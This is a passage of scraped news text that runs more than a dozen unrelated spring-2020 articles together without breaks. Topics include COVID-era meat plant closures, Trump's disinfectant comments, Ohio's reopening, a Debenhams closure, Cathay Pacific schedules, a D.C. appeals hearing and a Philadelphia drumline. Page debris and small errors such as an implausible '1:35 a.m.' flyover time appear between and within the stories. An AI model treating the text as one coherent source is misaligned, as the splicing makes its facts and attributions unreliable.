government will provide additional protective gear to the employees. The president confirmed to reporters he would be signing an order late Tuesday. 'We're going to sign an executive order today, I believe,' Trump said in the Oval office. 'We'll be in very good shape. We're working with Tyson, one of the big companies in that world. We always work with the farmers.' 'There's plenty of supply, it's distribution,' he added. 'And we will probably have that today solved. It's a very unique circumstance, because of liability.' Earlier Tuesday Trump tried to calm mounting fears of a food crisis by telling Americans 'there is no shortage of meat.' The country's largest meat companies - including Smithfield Foods Inc , Cargill Inc , JBS USA and Tyson Foods Inc - have halted operations at about 20 slaughterhouses and processing plants in North America since April after workers became ill with the coronavirus, sparking fears of a meat shortage. The president took to twitter to try and calm concerns, retweeting a post from The Counter, a nonprofit that examines the nation's food supply. 'First, there is no shortage of meat destined for the grocery store shelf. It might take stores longer than usual to restock certain products, due to supply chain disruptions. But we have many millions of pounds of meat in cold storage across the nation,' it read. President Donald Trump tried to calm mounting fears of a food crisis by telling Americans 'there is no shortage of meat' President Trump retweeted a message about the country's meat supply The pork industry has been hit especially hard by the coronavirus as meat processing plants have closed throughout the country The USDA reported last week there is 921 million pounds of chicken in storage and 467 million pounds of boneless beef, including hamburger, roasts and steaks. The demand for meat has gone up under stay-at-home orders with more Americans cooking instead of eating out. But before much of that meat could be sold at grocery stores it would need to be recut and repackaged, as restaurants buy in greater bulk than an individual at a market. Even if there is no shortage of meat, prices are expect to rise and selection is expected to decrease as companies warn that grocery shelves may take longer to fill. The Agriculture said last week beef prices are expect to rise 1% to 2% this year, poultry as much as 1.5% and pork between by from 2% and 3%. More than 5,000 meat and food processing workers have been infected by the coronavirus and 13 have died, the United Food and Commercial Workers International Union said last week. Meanwhile, live stock farmers are facing difficult choices. With meat processing plants unable to take animals, the farmers are considering having piglets aborted and euthanizing animals as they run out of space to house them. The pork industry typically slaughters around 510,000 pigs daily for bacon, hams and sausage. But, because of the coronavirus, plants that handle one-fifth of the daily total, or 105,000 pigs a day, have closed - leading to a backup on farms and raising the prospect of having to euthanize them and then render or bury the carcasses, The Wall Street Journal reported. The pork industry has been hit especially hard. Three of the largest process plants in the United States have gone offline indefinitely: Smithfield Foods in Sioux Falls, South Dakota, JBS pork processing in Worthington, Minnesota and Tyson Fresh Foods in Waterloo, Iowa. Unlike cattle, which can be housed outside in fields, hogs are fattened up inside temperature-controlled buildings. If they stay too long, they get big and injure themselves. Mature animals have to be moved out before the sows who were impregnated before the pandemic give birth. 'We have nowhere to go with the pigs,' Iowa farmer Al Van Beek told Reuters. 'What are we going to do?' The president's reassurance also comes as the chairman of Tyson Foods warned Sunday that 'the food supply chain' is breaking after coronavirus outbreaks forced the closure of their plants. John Tyson said 'millions of pounds of meat' will fail to reach stores and there will be a 'limited supply of our products available in grocery stores' until they are able to reopen facilities currently closed. Tyson Foods announced last week that it was shuttering two pork processing plants, including its largest in the United States, to contain the spread of the coronavirus. 'We have a responsibility to feed our country. It is as essential as healthcare. This is a challenge that should not be ignored. Our plants must remain operational so that we can supply food to our families in America,' John Tyson said. 'This is a delicate balance because Tyson Foods places team member safety as our top priority.' Tyson Foods, the largest U.S. meat supplier, said it will indefinitely suspend operations at its largest pork plant in Waterloo, Iowa, pictured, after operating at reduced capacity ATyson Foods Inc unit said on Thursday it will temporarily halt production at a beef facility in Pasco, Washington, pictured, adding to the meat processing plant the company has had to shutter as it tests workers for COVID-19 Tyson also closed a pork processing facility in Logansport, Indiana, pictured, while its more than 2,200 workers at the plant undergo testing for COVID-19 Tyson Foods, the largest U.S. meat supplier, said it will indefinitely suspend operations at its largest pork plant in Waterloo, Iowa, after operating at reduced capacity. Tyson also closed a pork processing facility in Logansport, Indiana, while its more than 2,200 workers at the plant undergo testing for COVID-19. John Tyson, pictured, has warned that 'the food supply chain' is breaking The company also temporarily closed a beef processing plant in Pasco, Washington. The closures are limiting the amount of meat the United States can produce during the outbreak and adding stress on farmers who are losing markets for their pigs. Lockdowns that aim to stop the spread of the coronavirus have also prevented farmers around the globe from delivering food products to consumers. Millions of laborers cannot get to fields for harvesting and planting, and there are too few truckers to keep goods moving. Tyson's statement, in the form of an advert in a number of newspapers on Sunday, came after workers at plants argued they were not being protected by their employer. Employers have struggled to contain the virus in meatpacking plants, where workers toil side by side on production lines and often share crowded locker rooms, cafeterias and rides to work. One Tyson worker at the plant in Waterloo told CNN he called HR amid concerns coronavirus was at the facility. Ernest Latiker said: 'I was scared for me and my family. They told me I was safe and they told me that everything was ok. 'They told me I have a better chance of catching the coronavirus going out to Walmart than at Tyson, if you come to work you're safe. 'I wanted to believe to them and I needed the money at the same time so I went to work.' Tyson Foods worker Ernest Latiker, pictured, said he called HR amid coronavirus concerns Tyson's statement in the form of an advert in a number of newspapers on Sunday came after workers at plants argued they were not being protected by their employer Spread of coronavirus closes meat plants Some of the facilities that have shut or reduced production as coronavirus spreads: JBS USA said it would indefinitely close a pork plant in Worthington, Minnesota, that processes 20,000 hogs a day. JBS closed a beef plant in Greeley, Colorado, until April 24. Smithfield Foods indefinitely shut a Sioux Falls, South Dakota, plant that produces about 4% to 5% of U.S. pork. Smithfield also shuttered two plants in Wisconsin and Missouri that process bacon and ham. Tyson Foods Inc closed a hog slaughterhouse in Columbus Junction, Iowa. It has since reopened National Beef Packing Co suspended cattle slaughtering at an Iowa Premium beef plant in Tama, Iowa National Beef said it suspended operations at a Dodge City, Kansas, beef plant for cleaning and to install stainless steel partitions Aurora Packing Company temporarily closed a beef plant in Aurora, Illinois JBS shut a beef plant in Souderton, Pennsylvania. It reopened on April 20 Cargill closed a plant in Hazleton, Pennsylvania, that produces meat for U.S. grocery stores The health department in Ogle County, Illinois, on April 17 ordered a Rochelle Foods plant owned by Hormel Foods Corp to close for two weeks Hormel-owned Alma Foods suspended production at a Kansas plant until May 4 Sanderson Farms Inc reduced chicken production to 1 million birds a week from 1.3 million at a plant in Moultrie, Georgia. Advertisement 'Consumers will see an impact at the grocery store as production slows,' Tyson Fresh Meats Group President Steve Stouffer had said last week. 'It means the loss of a vital market outlet for farmers and further contributes to the disruption of the nation's pork supply.' After the closure of the Logansport facility, slaughterhouses that account for 19 per cent of pork production in the United States will be shut. And coronavirus-related staffing shortages at chicken processing plants will lead farms in Maryland and Delaware to destroy nearly two million chickens. The Baltimore Sun reported Friday that the plants are unable to keep pace with the number of birds that are ready for harvest. They had been placed into poultry houses as chicks several weeks ago. The chickens will not be processed for meat. The trade group the Delmarva Poultry Industry said that every poultry plant on the Delmarva Peninsula has struggled with a reduced worker attendance. The reasons include workers being sick with the coronavirus and people following guidance to stay home if sick. The Delmarva Peninsula includes parts of Delaware, Maryland and Virginia. The trade group said that one unidentified company has become the first to do what's called 'depopulation.' The trade group said the company was unable to find other options, such as allowing another company to take the chickens. Delmarva Poultry Industry Inc said the chickens will killed 'using approved, humane methods'. The former Chief Veterinary Officer for the U.S. Department of Agriculture, John Clifford, said at the time of avian flu 'the fastest way and probably the most humane way to take care of this' was to 'shut off ventilation systems.' The trade group said that the extermination methods have been approved by the American Veterinary Medical Association for handling cases of infectious avian disease. President Trumps public statements about using disinfectants to potentially treat the coronavirus have put him in the company of pseudoscientists and purveyors of phony elixirs who promote and sell industrial bleach as a miracle cure for autism, malaria and a long list of medical conditions. The presidents comments, at a White House briefing last week, have already prompted widespread incredulity, warnings from health experts and a spike in calls to poison control centers around the country. The makers of Clorox and Lysol urged Americans not to inject or ingest their products. But some scientists fear Mr. Trumps remarks could breathe life into a fringe movement that embraces the medicinal powers of a powerful industrial bleach known as chlorine dioxide. Among its adherents are Alan Keyes, the conservative activist and former presidential candidate who has promoted a chlorine dioxide-based product called Miracle Mineral Solution on his online television show. The impact of Trumps words is going to be huge, especially among people who are desperate, said Myles Power, a British chemist who works to debunk quack medical remedies. My fear is it will cause widespread harm to people who think that drinking bleach can prevent or cure Covid-19. CALLS have been made for a fair redundancy package for axed Debenhams workers who staged a demonstration in Limerick. Fianna Fail TD Wilie ODea and northside Labour councillor Conor Sheehan have made separate calls for the staff at the department store who lost their jobs when the British retailer pulled support for its Irish business, forcing it to go into liquidation. Cllr Sheehan has accused Debenhams of using Covid-19 to throw workers under the bus. Around 110 positions have been lost from the store at OConnell Street/Sarsfield Street, in what is a devastating blow to the local economy. But Mr ODea has appealed to the liquidator Kieran Wallace to try and avoid a full closure of Debenhams Irish estate if at all possible. Last Tuesday, former Debenhams staff staged a protest to highlight fears they may not get their redundancy settlements or may have an extended wait. Mr ODea said: The closure of Debenhams in Limerick is a huge blow to workers, who are understandably angered at how it has been handled after years of loyal and dedicated service to the company. He said he is working with his colleagues in Fianna Fai, and has written to the joint liquidator Kieran Wallace of KPMG. It was emphasised to Mr Wallace that a key objective is to avoid full closure if at all possible. It must be remembered that Debenhams' Irish website continues to sell on line. Mr Wallace confirmed Irish employees will be communicated with and I would hope this communication includes provision for a 30 day consultation process that must be held, and information about the payment of entitlements that workers are due, the Fianna Fail TD added. Bank of Ireland is the biggest shareholder in the Celine Group, the lenders consortium that own Debenhams and given that that the state owns 15% of Bank of Ireland, I am calling on the government to pressure them to intervene, the northside member said. Cllr Sheehan said he would have attended Tuesday's demonstration to show solidarity were it not for the coronavirus lockdown. The staff, many of whom have worked at Debenhams since the days of Roches Stores do not deserve to be abandoned by management, he concluded. She's been cooped up at home like the majority of the nation amid the coronavirus lockdown. And Amber Gill appeared to reminisce about sunnier times as she shared a sizzling flashback snap from her trip to the island of Tobago with her sister Lauren on Instagram on Monday. Posing with a paddleboard, the Love Island 2019 winner, 22, showed off her sensational curves as she slipped into a neon orange bikini. 'Island girl': Amber Gill appeared to reminisce about sunnier times as she shared a sizzling flashback snap from her trip to Tobago with her sister Lauren on Instagram on Monday The media personality ensured focus remained on her radiant appearance as she wore her tresses in its naturally curly state and went make-up free. The Geordie beauty's sister Lauren looked equally stunning as she opted for a pale blue two-piece. Admitting quarantine has made Amber reconsider her occupation, the TV star captioned the post: 'Adventures of Amber Shall I just become a full time travel blogger when this is over? Well-deserved break: The Love Island 2019 winner, 22, treated herself to a getaway to her family's ancestral country in February 'This has made me realise how much Im an island girl My insta needs to be more tropical.' [sic] Earlier this month, Amber saw her social presence rewarded when she scooped up Newcomer Of The Year at PrettyLittleThing's Influencer Awards. Due to the pandemic, the curly-haired beauty and the other winners were forced to record their acceptance speeches via video link after the glitzy ceremony was cancelled amid government guidelines. American actor Terrence J, 37, hosted the awards live on PrettyLittleThing's Instagram from his own living room, dishing out gongs to celebrate those in the celebrity and influencer industry. Winner! Earlier this month, Amber saw her social presence rewarded when she scooped up Newcomer Of The Year at PrettyLittleThing's Influencer Awards And Amber certainly made the most of being able to receive the award from home, ditching her usual glam awards attire in favour of a casual grey T-shirt. The reality star began her speech: 'Shes a winner baby! Just want to say guys thank you so so much for voting for me as PrettyLittleThings newcomer of the year.' She continued: 'I think its been about eight months or so since I was thrown into this crazy industry from scratch with no knowledge on influencing or Instagram or anything really. 'Thanks for sticking by me in my inconsistencies, I really had no idea what I was doing but I think Ive got a little bit more knowledge now and Im learning new things every day in this crazy job that Ive got. Stay home: Due to the pandemic, the TV star and the other winners were forced to record their acceptance speeches via video link after the glitzy ceremony was cancelled 'But yeah, just wanted to say your love and support really doesnt go unappreciated, Im grateful for every single one of you. 'Thank you for voting for me and hopefully when this craziness is over we can go back to being extra as hell and bougee! But yeah, thank you so much, it means the world.' Other successes on the night included 2019 Love Island runner up Molly-Mae Hague, who scooped up two awards for Fashion Influencer and Influencer Of The Year, while Caitlyn Jenner bagged the prize for LGBTQ Supporter of the Year. Gorgeous: The Geordie beauty began her speech 'Shes a winner baby! Just want to say guys thank you so so much for voting for me as PrettyLittleThings newcomer of the year.' Ohio Gov. Mike DeWine during a campaign event at the Boat House at Confluence Park in Columbus, Ohio, on Nov. 2, 2018. (Kirk Irwin/Getty Images) Restaurants, Gyms, and Salons to Remain Closed as Ohio Begins Reopening Phase Restaurants, gyms, daycare centers, barbershops, and hair salons will remain temporarily closed as Ohio launches its first phase of reopening the state, Gov. Mike DeWine announced April 27. Starting May 1, all health procedures or operations that do not require overnight stays can be performed as well as dental procedures and veterinary procedures, DeWine said on Twitter. Non-essential medical procedures and surgeries were halted last month to preserve masks and other personal protective equipment, as well as hospital beds and to ensure social distancing was being practiced. From May 4, manufacturing, distribution, and construction can begin, however they must adhere to strict guidelines which include a no mask, no work, no service, no exception requirement for employees, clients, and customers at all times. Office environments can also open at this time but must implement strict social distancing guidelines, including limiting capacity to 50 percent of the fire code, cleaning workplaces throughout the day, and conducting daily health assessments of employees. The governor urged businesses to continue having employees work from home if possible. On May 12, consumer, retail, and service businesses can open but every employee will have to wear a facial covering and businesses will have to conduct daily health assessments. They will also have to limit capacity to meet social distancing guidelines and if a business suspects it has a case of COVID-19, it must be immediately reported so the local health department can trace everyone who may have had contact with the patient. We know there is a great desire to get restaurants fully open and to get hair salons and daycares open, DeWine said. But we must first start down the pathway of opening things up where we thought there was less risk and a more controllable risk. Its very hard to control the environment in daycare/schools. I understand what parents are going through, but we have to start with what is easiest to control, he added. Other businesses that will remain closed during the first phase include bars, theaters, concert halls, indoor and outdoor public amusement centers such as bowling alleys and water parks, museums, and older adult daycare services and senior centers. DeWine had declared a state of emergency in Ohio on March 9 and a stay-at-home order was established on March 23, which is set to expire on May 1. DeWine said the the order will remain in place and gatherings of more than 10 people will continue to be prohibited. Speaking about the reopening plans, DeWine said it would be totally irresponsible to just throw the doors open on May 1 and say: Get rid of the stay at home order. Get rid of the distancing. Get rid of everything.' I have an obligation as the governor of this state to do two things right now at work every day: get people back to work and keep them safe. That would not be consistent with keeping people safe, the governor said during a press conference on Monday. If Ohioans go back to business as usual, this thing is going to go straight back up. The curve is going to go straight back up, were going to have more Ohioans die. And so Im not going to do that, DeWine said. Im trying to balance the harm from the economy, understanding also that for business to really come back, people have to feel safe. And so, Ohioans have to feel safe. That means employees have to feel safe; that means customers have to feel safe, he added. As of April 28, Ohio has 16,325 confirmed cases and 753 deaths from the CCP virus, also known as the novel coronavirus, which originated in Wuhan, China, in December last year. Central Railway (CR) came to the rescue of two patients requiring critical medical supplies from Mumbai. A cancer patient and another heart ailment patient received their medicines through special parcel trains. The zonal railway also assisted in the transport of camel milk from Falna in Rajasthan to Secunderabad in Telangana. Amruta Chaurasia, a cancer patient who had gone to attend a wedding in Gorakhpur, Uttar Pradesh, was left with a limited supply of medicine after the lockdown was announced. Chaurasias son, Sandeep, a resident of Thane, tried to find a way to courier the medicines to her. When he contacted India Post on Twitter, he was directed to get in touch with the railways. After Sandeep contacted the CR, a railway officer from Mulund collected the medicines and they were taken to Kalyan railway station on April 18. As the railway does not operate a direct parcel train from Mumbai to Gorakhpur, a connecting train from Nagpur was used to transport the medicines. The medicines were packed at Kalyan railway station and transported to Nagpur by a parcel train and then on to Gorakhpur, said a Central Railway official. The medicines reached Chaurasia on April 21. Similarly, the CR on Monday made an unscheduled halt of a parcel train at Chiplun railway station to deliver medicines to a heart patient who was staying in the area during the lockdown. Railway personnel collected the medicines from the patients residence at Vikhroli and transported them from Panvel railway station to Chiplun. Central Railway continues to deliver medicines, masks, hospital items, and other medical commodities through its time-tabled parcel services to strengthen the government efforts in managing the challenges and adverse impact of the coronavirus in the country, said Shivaji Sutar, chief public relation officer, Central Railway. Railway authorities also assisted in providing a transport link for camel milk from Rajasthan, for a two-year-old in Secunderabad. With no direct train between Falna in Rajasthan and Secunderabad in Telangana, the Central Railway on Sunday transported the camel milk from Chhatrapati Shivaji Maharaj Terminus(CSMT) to Secunderabad within 28 hours. The railway had earlier also launched a helpline portal SETU to assist people in booking supply of essential commodities through parcel trains. Share this article Whatsapp Facebook Twitter Linkedin Ghina Ghaliya (The Jakarta Post) Jakarta Tue, April 28, 2020 06:01 625 fc6853813033f564188675f8bd48d2e2 1 Politics omnibus-bill-on-job-creation,Lawmakers,PDI-P,Jokowi,house-of-representatives,ciptaker,RUU,Facebook,Twitter,Instagram,DPR Free Lawmakers have expressed their disagreement over President Joko Jokowi Widodos recent social media posts that claim the government and the House of Representatives agreed on delaying deliberations on a disputed omnibus bill on job creation. The posts, published on Jokowi's Facebook, Twitter and Instagram accounts on Monday morning, were edited a few minutes later. The revised posts now say that the government and the House agreed on delaying deliberations over labor provisions within the bill. Rieke Diah Pitaloka of the ruling Indonesian Democratic Party of Struggle (PDI-P) said on Monday that should the government wish to cancel the entire deliberation, it must revoke the draft bill from the House. Rieke added that the government should avoid acting on anything that could trigger public outrage projected toward the House. "Lawmakers will be blamed for continuing the deliberations, even though we have followed the proper procedures. Don't let the public think that only the House wants to deliberate the bill, she during a virtual hearing of the bill on Monday with several experts and the House legislative body. Achmad Baidowi of the United Development Party (PPP) called on the presidential communication team to explain the errors to the public and asserted that the House was not forcing the deliberation. Read also: Guide to omnibus bill on job creation: 1,028 pages in 10 minutes "This makes us uncomfortable. There is a tweet from President Jokowi saying that the bill was being postponed. It was clear a few days ago that the government and the House were only canceling deliberations on labor provisions," he said. Firman Subagyo of the Golkar Party said as long as the President did not revoke the presidential letter (Surpres) from the House, the deliberations should continue, noting that lawmakers should get over the tweet. "We don't need to talk about the tweet. It will only create noise. We need to hold on to the fact that the [presidential letter] has not been revoked. The discussion should continue," he said. At Mondays hearing, experts and lawmakers suggested a change to the bills title as the labor provisions were being canceled. Rieke suggested the bill could be changed to the omnibus bill on the facilitation of investment licensing or the economic reform bill, which the experts also suggested. "This will also create certainty for the public; that this bill does not regulate labor," he said. WASHINGTON The Trump administration faced tough questioning Tuesday from a federal appeals court over its refusal to let former White House counsel Donald McGahn testify before Congress and its spending on a border wall without congressional approval. The U.S. Court of Appeals for the District of Columbia Circuit, the nation's second most powerful court, combined the two disputes into a single, three-hour oral argument because both deal with the separation of powers between the legislative and executive branches of government. "These cases, both of them, are sort of big deals," Judge Patricia Millett said near the end of the argument, which, like most federal and state court hearings right now, was held by telephone conference because of the coronavirus pandemic. The administration thus far has held the upper hand in both battles. It blocked McGahn from testifying about potential obstruction of justice by Trump during the investigation of Russian interference in the 2016 election, and it moved ahead with some $6 billion in emergency border wall spending that Congress did not approve. But the appeals court, dominated by Democratic presidents' nominees, expressed skepticism on both counts. In the McGahn case one of multiple, lingering congressional probes of Trump and his administration Judge Judith Rogers said that under the Justice Department's theory that Congress cannot subpoena testimony, "there's nothing that can be done until the next presidential election, other than revolution." 'Obama judges?' 'Trump judges?': Border emergency lawsuits could expose or defuse partisan differences Border wall funding dispute: Appeals court approves diverting $3.6B in military construction funds for Donald Trump border wall plan In the border wall funding case, which has been fought in federal courts from California to Texas to Washington, D.C., Judge Merrick Garland said that if the executive branch can "just (give) money away ... thats a significant power that the president has that cant be checked by Congress. Story continues A three-judge appeals court panel ruled in February that McGahn does not have to testify, saying the court can't be an "ombudsman" between the two other branches. The full court then agreed to rehear the case. Similarly, U.S. District Court Judge Trevor McFadden ruled last June that the House did not have judicial standing to file its border wall funding lawsuit, and a three-judge panel kicked the matter to the full court. President Donald Trump talks with reporters as he tours a section of the southern border wall, Wednesday, Sept. 18, 2019, in Otay Mesa, Calif. In both cases, the Justice Department argued that the judiciary should not resolve disputes between the other two branches. Assistant Attorney General Hashim Mooppan argued Tuesday that it "would be a radical break from tradition" for federal courts to adjudicate inter-branch disputes. Doing so "would politicize the judiciary," he said. When various judges pressed Mooppan about why the judiciary cannot intervene and what options are left for Congress to enforce its authority, he said Congress has "ample" political tools, including cutting funding and hindering presidential nominations. Douglas Letter, general counsel for the House of Representatives, said the claim that there is no precedent for government branches suing each other is "absolutely not true." Courts routinely resolve those cases, he said. Presidents are not kings: Federal judge says ex-White House counsel Donald McGahn must testify before Congress Appeals court sides with Trump: Former White House counsel Don McGahn doesn't have to testify before Congress Letter said the Trump administration has left Congress with no other option but to turn to the courts, citing comments by the president during special counsel Robert Mueller's investigation into Russian election interference that he would fight all congressional subpoenas. Political alternatives "are not practical" and have "simply failed to work" with the Trump administration, Letter said. During impeachment proceedings last year, when Democrats subpoenaed several witnesses to testify about the administration's dealings with Ukraine, the president's lawyers told lawmakers that they should turn to the courts to enforce those subpoenas, Letter noted. If we cant enforce subpoenas, then they become really like a joke, Letter said, later adding, Maybe we could have gun battles between the (House) sergeant-at-arms and the attorney general's security detail. This article originally appeared on USA TODAY: Court hears dispute over Trump border wall, Donald McGahn subpoena PR-Inside.com: 2020-04-28 22:50:04 Survey: What a New Start on Australian Roads After Corona Looks Like Traffic Index by Kapsch Press contact: Carolin Treichl Am Europlatz 2, 1120 Vienna, Austria Phone +43 50 811 1710 carolin.treichl@kapsch.net Its highly likely that traffic jams on Australian roads will return quickly after the Corona crisis, and 67% of Australians are concerned about the negative environmental impact this might have. Faced with renewed traffic jams, nearly as many people are prepared to use a navigation app to choose their route. Surprisingly then, when selecting a route, environmental considerations are not a priority for the majority of drivers. Instead, almost two thirds of respondents want a route that guarantees the shortest travel time. These are some of the key findings of the "Kapsch TrafficCom Index" where 1,000 people have been surveyed by a market research institute in Australia. The intelligent use of navigation devices offers opportunities to reduce road congestion and traffic jams. This technology could also help to achieve other desirable goals; for example, traffic planners could also factor in environmental impacts such as CO2 emissions in their route recommendations. The survey findings show that this would require a change in overall thinking though. At present, the majority of drivers in Australia consider the shortest travel time (64%), the most reliable travel time (60%) or the shortest distance (57%) to be important or very important when selecting a route. Only a minority - about a third of all respondents - consider routes with the lowest impact on the environment to be important or very important. "Smart navigation networks are a key technology for fundamentally reducing traffic jams and pollution on roads," says Soren Tellegen, Executive Vice President Asia-Pacific at Kapsch TrafficCom. "The desire of drivers to use navigation tools to minimise travel times should be utilised by public planners. Our aim in Australia is to put the city in control by providing stakeholders with situational awareness of what is happening now and next in the network. Environmental protection is one of these important targets we can track and make decisions from an operational level, that will improve our everyday life." In Melbourne for example, Kapsch TrafficCom has signed an MoU with the University of Melbourne. One such strategy in progress is the setup of a Kapsch Intelligent Corridor to identify customer challenges and provide specific solutions. Please find full press release here: https://www.kapsch.net/kapsch/media/press/ktc/ktc_ View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005 Survey: What a new start on Australian roads after Corona looks like Traffic Index by Kapsch Following a flyover in the northeast earlier this week, the Navy and Air Force have commissioned their air squadrons, the Blue Angels and the Thunderbirds, to fly over the Washington, D.C., area, Baltimore and Atlanta. The tribute to health care and other essential workers on the front lines of the coronavirus pandemic is part of President Donald Trumps Operation America Strong salute. Residents within the flight path can expect to hear jet noise as the 12 high-performance aircraft fly in precise formation. People should be able to view the flyover from their homes: people should refrain from traveling to see the flyover," the Blue Angels said. "We are truly excited to take to the skies with our Navy counterparts for a nationwide tribute to the men and women keeping our communities safe," U.S. Air Force Lt. Col. John Caldwell, Thunderbird 1 and mission commander of the flyover, said in a release. "We hope to give Americans a touching display of American resolve that honors those serving on the front line of our fight with COVID-19." The first round happened Tuesday in New York City, Philadelphia and Trenton, New Jersey. Saturday's Blue Angel, Thunderbird flight path Saturday's flyovers are expected to take between 15 to 25 minutes. In Baltimore, the flyover was scheduled to begin at 11:30 a.m. ET, starting at Fort McHenry. It was scheduled to last 15 minutes. In the Washington, D.C., area, the flyover was set to begin at 11:45 a.m. ET, starting at Prince George's County Hospital, making its way through southern Maryland and northern Virginia and ending its route at the National Mall. Were heading your way on Saturday!Check out the overhead times and route on the graphic below. Social distancing should be practiced at all times. Stay home and stay safe!#AmericaStrong#InThisTogether#HealthCareHeroes pic.twitter.com/y3U0bHGkhC Blue Angels (@BlueAngels) May 1, 2020 In Atlanta, the flyover is set to begin at 1:35 a.m. ET near Marietta loop through Atlanta and end near Newnan. Story continues The U.S. Navy Blue Angels and Air Force Thunderbirds fly over Baltimore during a flyover salute to COVID frontline workers on May 2, 2020. The U.S. Navy Blue Angels and Air Force Thunderbirds fly over Baltimore during a flyover salute to COVID frontline workers on May 2, 2020. The US Navy Blue Angels and US Air Force Thunderbirds fly over Washington, DC, on May 2, 2020, as seen from Arlington, Virginia, in a tribute to essential workers during the coronavirus pandemic. The U.S. Navy Blue Angels and Air Force Thunderbirds fly over Baltimore during a flyover salute to COVID frontline workers on May 2, 2020. The U.S. Navy Blue Angels and Air Force Thunderbirds fly over Baltimore during a flyover salute to COVID frontline workers on May 2, 2020. A person wearing a face mask watches as the US Navy Blue Angels and US Air Force Thunderbirds fly over Arlington, Virginia, on May 2, 2020, in a tribute to essential workers during the coronavirus pandemic. People gather on Federal Hill to watch the U.S. Navy Blue Angels and Air Force Thunderbirds do a flyover salute to COVID frontline workers on May 2, 2020 in Baltimore. Follow Joshua Bote and Heather Clark on Twitter: @joshua_bote and @heather_l_clark This article originally appeared on USA TODAY NETWORK: Blue Angels flight path: Where to see flyover, Air Force Thunderbirds Hong Kong, April 28 : Hong Kong's Cathay Pacific Airways has signalled its intent to start reversing its near-total grounding of aircraft because of the coronavirus pandemic, and plans to start increasing its number of passenger flights in the last week of June, the flag carrier said on Tuesday. The airline said it hoped to add more long-haul destinations, make flights more frequent, and reinstate some major Asian cities to its daily schedule for the first time in several months, "subject to government travel restrictions", reports the South China morning Post newspaper. Cathay scaled its operations back to a skeleton schedule of 3 per cent of services in early April, and that was extended until June 20. The newly announced increases would take that up to 5 per cent. The global airline industry has been rocked by the pandemic, which triggered a collapse in air travel demand amid severe travel restrictions and tough quarantine measures. Cathay, which has 236 aircraft, currently operates long-haul flights to London Heathrow, Los Angeles, Vancouver and Sydney twice a week, but will increase that to five times a week. Amsterdam, Frankfurt, San Francisco and Melbourne were among the long-haul destinations set to return three times a week, the airline added. "We will continue to monitor the developing situation and further adjustments may be made as necessary," the SCMP report quoted the flag carrier as saying. Earlier this month, Cathay's budget unit HK Express extended its total grounding until June 18, having been on hiatus since March 23. In a bid to cut costs, most of the Cathay Pacific Group's 34,200 staff have taken three weeks of unpaid leave. Also, 433 cabin crew in the US and Canada were told they would be laid off, while about 200 pilots in the UK, Australia have been furloughed. Will come back to haunt you: Jaishankar in veiled reference to Pakistan S Jaishankar stresses on connectivity,proposes Chabahar Port be included in the NorthSouth Transport Corridor India-Central Asia dialogue: Need to provide immediate humanitarian assistance to Afghan, says Jaishankar Foreign Minister S Jaishankar to attend BRICS meet India oi-Vicky Nanjappa New Delhi, Apr 28: India will take part in the crucial meeting of the Brazil-Russia-India-China-South Africa (BRICS) foreign ministers today. The discussions would be around the outbreak of the coronavirus. The meeting will be held via video-conferencing and will be convened by Russia. Foreign minister, S Jaishankar will attend the meeting. China's foreign minister, Wang Yi too will be part of the meeting. New guidelines for home isolation of people with very mild symptoms of coronavirus The presence of Wang was confirmed by the foreign ministry spokesperson Geng Shuang in a statement today. The statement said that Wang will discuss with his counterparts the impact of COVID-19 on international relations, concerted efforts to address global challenging and deepening BRICS cooperation and other topics. The sellers and visitors should wear masks; temperature screening will be held at the entrances Open source The Health Ministry of Ukraine developed the regulation, which provides the renewal of the work of food markets. This regulation provides a clear algorithm of sanitary control. It will be passed to the consideration of the government as 112 Ukraine TV channel reported citing Health Minister Maksym Stepanov. During the pandemic, the workers, sellers, and visitors of the marker should wear a medical mask or respirator. Stepanov noted that self-made masks are also allowed. Moreover, the temperature screening will be held at the entrance to the market. At each entrance to the territory of the market, the antiseptics should be placed. The simultaneous stay of the visitors is banned at the territory of the marker if there are less than 10 square meters per visitor. The workers of the market should disinfect the surfaces every three hours and clean and disinfect the room at the end of the working day. The distance between the working places of the sellers should be not less than three meters. On April 29, the Cabinet of Ministers will consider the issue of the opening of the food markets. Over the last 24 hours, 401 new cases of coronavirus infection have been reported in Ukraine. 9,419 cases of coronavirus were confirmed: 239 of them were lethal, 992 patients recovered. Share this: Twitter Facebook WhatsApp LinkedIn Email Telegram The Committee to Protect Journalists joined 16 other civil society groups today in sending a letter to Mozambican President Filipe Jacinto Nyusi expressing concern about the deteriorating human rights situation in northern Cabo Delgado province, including the enforced disappearance of radio journalist Ibraimo Abu Mbaruco. Mbaruco, a journalist for the Palma Community Radio broadcaster in Cabo Delgado, was last heard from on April 7, when he sent a text message to a colleague saying he was surrounded by soldiers, as CPJ documented at the time. The letter asks Mozambican authorities to promptly, thoroughly and effectively investigate the enforced disappearance of Mbaruco, and to be transparent in those efforts. It also urges authorities to refrain from harassing and intimidating people and civil society organizations, including workers of non-governmental organizations and journalists. The joint letter can be read in English and Portuguese. The first sign of COVID-19 Jerry Foster had was a bit of coughing that started toward the end of a 24-hour shift. William Fulton, dressed as Elmo, and Positive Movement Entertainment drill team members (from left) Ron Dorman, Donte Thomas, and Tony Royster perform as a birthday surprise for Zori Amaya, 8, outside her home in Philadelphia's Northern Liberties section. The drumline has been the subject of several viral videos. Read more Zori Amaya may have thought she was going to have a quiet 8th birthday. Her father, Avery Amaya, however, had other plans. This band started walking down, and I was like, what? Zori recalled shortly after the celebration on Monday. It was awesome, and it felt really great. I felt really special. The drum line was Positive Movement, the ensemble that famously performs around Philly incorporating characters from TV and comics, often led by William Fulton, better known around town as Philly Elmo. Positive Movement took a hiatus initially during the coronavirus pandemic, but after debating whether to stay inside, made the decision that its adult drummers, should they choose, would still hit the streets, while youth participants would stay home. In 2018, the drum line became known outside of Philadelphia when a video of it marching near a four-alarm fire hit the internet. Earlier this month, its return to public performances quickly brought about its latest viral moment, when spectators posted about the groups making its way through South Philadelphia. Tone Royster, founder of Positive Movement, said its back in action, in part to help uplift people. Royster, who has been doing deliveries through DoorDash to support himself, finds motivation in the smiles he sees on passersby. When we link up, said Royster, it makes me feel better. It takes away all the stress. On Monday afternoon when the drum line showed up at the Amayas home in Northern Liberties, dozens of neighbors came out to watch. Philly Elmo gifted the birthday girl with a confetti popper, stuffed animals, bracelets, and balloons, among other presents. He broke the social distance barrier and gave Zori a hug. Avery is glad they were able to break up the monotony. People were texting me like, That was amazing, thank you so much for doing that, Avery said. You just dont get things like this during quarantine. For Philly Elmo, the risk of being out and about is worth the reward. I know what it is to sit in the house with nothing to do, Fulton said. Im not trying to get sick, but Im willing to get 